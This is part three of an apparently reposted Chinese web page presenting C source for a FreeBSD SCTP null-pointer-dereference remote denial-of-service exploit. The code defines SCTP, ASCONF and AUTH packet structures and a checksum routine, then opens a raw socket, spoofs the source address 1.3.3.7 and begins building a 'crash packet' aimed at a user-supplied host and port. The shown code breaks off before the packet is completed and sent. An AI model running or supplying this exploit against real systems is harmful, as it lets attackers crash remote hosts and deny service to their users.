FreeBSD SCTP空指针引用远程拒绝服务漏洞(3)


/* basic sctp header */
struct sctphdr {
    unsigned short sport;
    unsigned short dport;
    unsigned int vtag;
    unsigned csum;
};

/* sctp chunk header */
struct sctp_chunkhdr {
    unsigned char type;
    unsigned char flags;
    unsigned short length;
};

/* ASCONF chunk */
struct sctp_asconf_chunk {
    struct sctp_chunkhdr ch;
    unsigned int serial;
};

/* AUTH chunk */
struct sctp_auth_chunk {
    struct sctp_chunkhdr ch;
    unsigned short shared_key_id;
    unsigned short hmac_id;
    unsigned char hmac[0];
};

/* SCTP parameter header */
struct sctp_paramhdr {
    unsigned short type;
    unsigned short length;
};

/* ipv4 address parameter */
struct sctp_ipv4addr_param {
    struct sctp_paramhdr ph;
    unsigned int addr;
};


/* standard crc32 IP checksum */
unsigned short checksum(unsigned short *addr, int len) {

int nleft = len;
    unsigned int sum = 0;
    unsigned short *w = addr;
    unsigned short answer = 0;

while(nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }
    if(nleft == 1) {
        *(unsigned char *)(&answer) = *(unsigned char *)w;
        sum += answer;
    }

sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return answer;
}

int main(int argc, char *argv[]) {

int sock = 0, ret = 0;
    int on = 1; /* for setsockopt() call */
    struct ip *iph = NULL;
    struct sctphdr *sctph = NULL;
    struct sctp_auth_chunk *auth_chunk = NULL;
    struct sctp_asconf_chunk *asconf_chunk = NULL;
        struct sctp_ipv4addr_param *ipv4_addr = NULL;

char *crash = NULL;
    struct sockaddr_in sin;
    struct hostent *hp = NULL;

printf("\n[*] freebsd sctp remote NULL ptr dereference\n\n");

if(argc < 3) {
        printf("usage: %s <host> <port>\n\n", argv[0]);
        return -1;
    }

sock = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP);
    if(sock < 0) {
        printf("[*] error making socket!\n");
        return -1;
    }

/* tell the kernel not to put any IP headers in */
    if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
        printf("[*] setsockopt() error\n");
        return -1;
    }

hp = gethostbyname(argv[1]);
    if(!hp) {
        printf("[*] couldn't resolve %s\n\n", argv[1]);
        return -1;
    }

memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = htons(atoi(argv[2]));
    memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
    
    crash = malloc(20000);
    if(!crash) {
        printf("\n[*] couldn't allocate memory\n");
        return -1;
    }

printf("[*] building crash packet..\n");

memset(crash, 0x00, 20000);
    
    /* fill in IP header */
    iph = (struct ip *)crash;
    iph->ip_hl = 5;
    iph->ip_v = 4;
    iph->ip_tos = 0;
        iph->ip_len = 0; /* fill in later when we know... */
    iph->ip_id = htons(1337);
    iph->ip_off = 0;
    iph->ip_ttl = 250;
    iph->ip_p = 132; /* sctp */
    iph->ip_sum = 0;

iph->ip_src.s_addr = inet_addr("1.3.3.7");
    iph->ip_dst.s_addr = sin.sin_addr.s_addr;

/* fill in SCTP header */
    sctph = (void *)crash + sizeof(struct ip);
    sctph->sport = htons(0x1234);
    sctph->dport = htons(atoi(argv[2]));
    sctph->vtag = htonl(0x12345);  /* deliberately wrong */
    sctph->csum = 0;

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wypjyp.html